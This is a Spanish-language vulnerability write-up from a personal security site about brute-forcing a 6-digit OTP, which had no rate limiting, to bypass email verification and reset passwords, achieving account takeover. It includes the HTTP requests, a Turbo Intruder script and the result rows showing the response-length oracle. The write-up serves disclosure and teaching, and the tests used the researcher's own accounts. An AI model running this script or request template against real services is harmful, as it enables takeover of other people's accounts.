AzkOsDev/azkosdev.site / write-ups / otp-bruteforce-ato
write-up técnicovulnerabilidad · broken authentication
Ausencia de limitación de intentos en el mecanismo de OTP permitió, mediante fuerza bruta automatizada, verificar correos arbitrarios y restablecer contraseñas de cuentas sin acceso al correo electrónico de la víctima.
La aplicación analizada utiliza códigos OTP de 6 dígitos para dos flujos críticos: verificación de correo electrónico y restablecimiento de contraseña. Ambos flujos comparten el mismo endpoint de verificación y ninguno implementa limitación de intentos (rate limiting) ni bloqueo tras fallos repetidos.
Esto permitió recuperar el OTP correcto mediante fuerza bruta automatizada (Turbo Intruder, alta concurrencia), logrando primero el bypass de verificación de email y, posteriormente, el restablecimiento de la contraseña de una cuenta sin necesidad de acceder al correo electrónico de la víctima — es decir, un Account Takeover (ATO) completo.
El objetivo es un backend expuesto bajo un subdominio de Railway. Las pruebas se realizaron contra una cuenta de control propia del investigador (nedite4661@caps7.com).
Clasificación: Broken Authentication — CWE-307 (Improper Restriction of Excessive Authentication Attempts) y CWE-640 (Weak Password Recovery Mechanism).
Severidad: No se calculó un score CVSS formal; el impacto observado (toma de control de cuenta) corresponde típicamente a severidad alta/crítica].
El sistema genera un OTP numérico de 6 dígitos (106 combinaciones) y no limita el número de intentos de validación contra él, lo que lo hace recuperable por fuerza bruta en un tiempo práctico con suficiente concurrencia.
Endpoint A — envío de OTP de verificación de email
POST /api/auth/verifyemail?lang=es&univer[REDACTED] — responde 200 OK con status: PENDING y message: otp_email_sent. El body incluye un segundo campo ("Schneider": false) cuya función no pudo determinarse a partir de la evidencia disponible.
Endpoint B — verificación de OTP (reutilizado para dos propósitos)
POST /api/auth/verifyOTP acepta dos variantes de body:
En ambos casos, un OTP incorrecto responde 404 y uno correcto responde 200 con un Content-Length distinto al de las respuestas fallidas — una diferencia de longitud de respuesta que sirve como oráculo para automatizar el ataque.
Ausencia de controles
01 · solicitud de OTP de verificación de email
POST /api/auth/verifyemail?lang=es&univer[REDACTED] HTTP/2
Host: [REDACTED]
Authorization: Bearer [REDACTED]
{
"email": "nedite4661@caps7.com",
"Schneider": false
}
HTTP/2 200 OK
{
"status": "PENDING",
"message": "otp_email_sent",
"data": { "email": "nedite4661@caps7.com" }
}
02 · fuerza bruta del OTP de verificación (sin rate limit)
POST /api/auth/verifyOTP HTTP/2
Host: [REDACTED]
{
"email": "nedite4661@caps7.com",
"otp": "632709",
[REDACTED]
}
HTTP/2 200 OK
{
"status": "VERIFIED",
"message": "email has been verified",
"data": { "email": "nedite4661@caps7.com" }
}
03 · script de Turbo Intruder para fuzzing del OTP en el cambio de contraseña
# https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=100,
requestsPerConnection=100,
pipeline=False,
engine=Engine.THREADED)
for word in open('/tmp/a.txt'):
engine.queue(target.req, word.rstrip())
def handleResponse(req, interesting):
table.add(req)
request base utilizada (payload %s sobre el campo otp)
POST /api/auth/verifyOTP HTTP/2
Host: [REDACTED]
{
"email": "nedite4661@caps7.com",
"password": "Pwned1",
"otp": "%s",
[REDACTED]
}
04 · hallazgo del OTP correcto y confirmación del cambio de contraseña
# fila 4668 — único 200 OK entre cientos de 404
Row 4668 Payload 164570 Status 200 Length 38070
...resto de filas Status 404 Length 68
HTTP/1.1 200 OK
{
"status": "VERIFIED",
"message": "password has been changed",
"data": { "email": "nedite4661@caps7.com" }
}
Account Takeover completo: un atacante puede restablecer la contraseña de cualquier cuenta conociendo únicamente el correo electrónico asociado, sin necesidad de acceder a ese correo.
Bypass de verificación de email: el mismo patrón permite marcar como verificados correos arbitrarios.
Alcance: El impacto fue validado sobre una segunda cuenta creada y controlada por el investigador, confirmando la posibilidad de cambiar su contraseña mediante el flujo vulnerable.
Un control de autenticación crítico (verificación de OTP) sin limitación de intentos reduce la seguridad de todo el sistema al tamaño del espacio de valores del código — en este caso, 106 combinaciones, trivialmente alcanzables con herramientas de fuerza bruta de uso común. El caso ilustra cómo un mecanismo pensado para añadir seguridad (verificación en dos pasos) puede convertirse en el punto más débil de la autenticación si no se protege contra automatización.